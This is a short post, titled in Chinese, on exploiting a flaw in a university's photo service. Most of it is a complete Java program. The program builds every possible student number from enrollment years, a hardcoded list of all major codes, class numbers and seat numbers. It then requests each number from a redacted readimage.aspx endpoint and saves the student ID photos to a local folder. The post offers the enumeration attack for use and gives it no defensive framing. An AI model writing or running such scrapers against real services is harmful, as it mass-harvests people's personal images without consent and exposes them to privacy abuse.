如何通过漏洞遍历全校的学号下载全校学生的证件照

import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
import java.net.URLConnection;


public class Download {

 /**
  * @param args
  * @throws Exception 
  */
 public static void main(String[] args) throws Exception {
  // TODO Auto-generated method stub
     int zhuanye[]=new int[]{125,109,110,118,119,318,704,126,701,702,703,705,706,707,207,209,802,803,201,203,206,801,804,805,806,120,901,105,107,301,123,124,312,311,321,322,307,1001,1002,1003,1106,210,1105,402,403,405,1103,1104,412,1101,1102,208,411,324,410,323,313,314,1201,1202,1203,1204,1205,1206,510,604,509,501,1301,508,511,512,506,1401,605,601,602,1501};
// 全校的专业号
     int xuenian[]=new int[]{13,14};
 for(int xn=0;xn<xuenian.length;xn++){
  for(int zy=0;zy<zhuanye.length;zy++){
   for(int c=1;c<=5;c++){
    for(int d=1;d<=55;d++){
      int i = xuenian[xn]*100000000+zhuanye[zy]*10000+c*100+d;
      System.out.println(i);
      download("http://***********************/readimage.aspx?xh="+i, i+".jpg","c:\\333\\");
　　// 保护隐私~
    } 
   } 
  } 
 }
}
 public static void download(String urlString, String filename,String savePath) throws Exception {
     // 构造URL
     URL url = new URL(urlString);
     // 打开连接
     URLConnection con = url.openConnection();
     //设置请求超时为5s
     con.setConnectTimeout(5*1000);
     // 输入流
     InputStream is = con.getInputStream();
 
     // 1K的数据缓冲
     byte[] bs = new byte[1024];
     // 读取到的数据长度
     int len;
     // 输出的文件流
    File sf=new File(savePath);
    if(!sf.exists()){
     sf.mkdirs();
    }
    OutputStream os = new FileOutputStream(sf.getPath()+"\\"+filename);
     // 开始读取
     while ((len = is.read(bs)) != -1) {
       os.write(bs, 0, len);
     }
     // 完毕，关闭所有链接
     os.close();
     is.close();
 }

}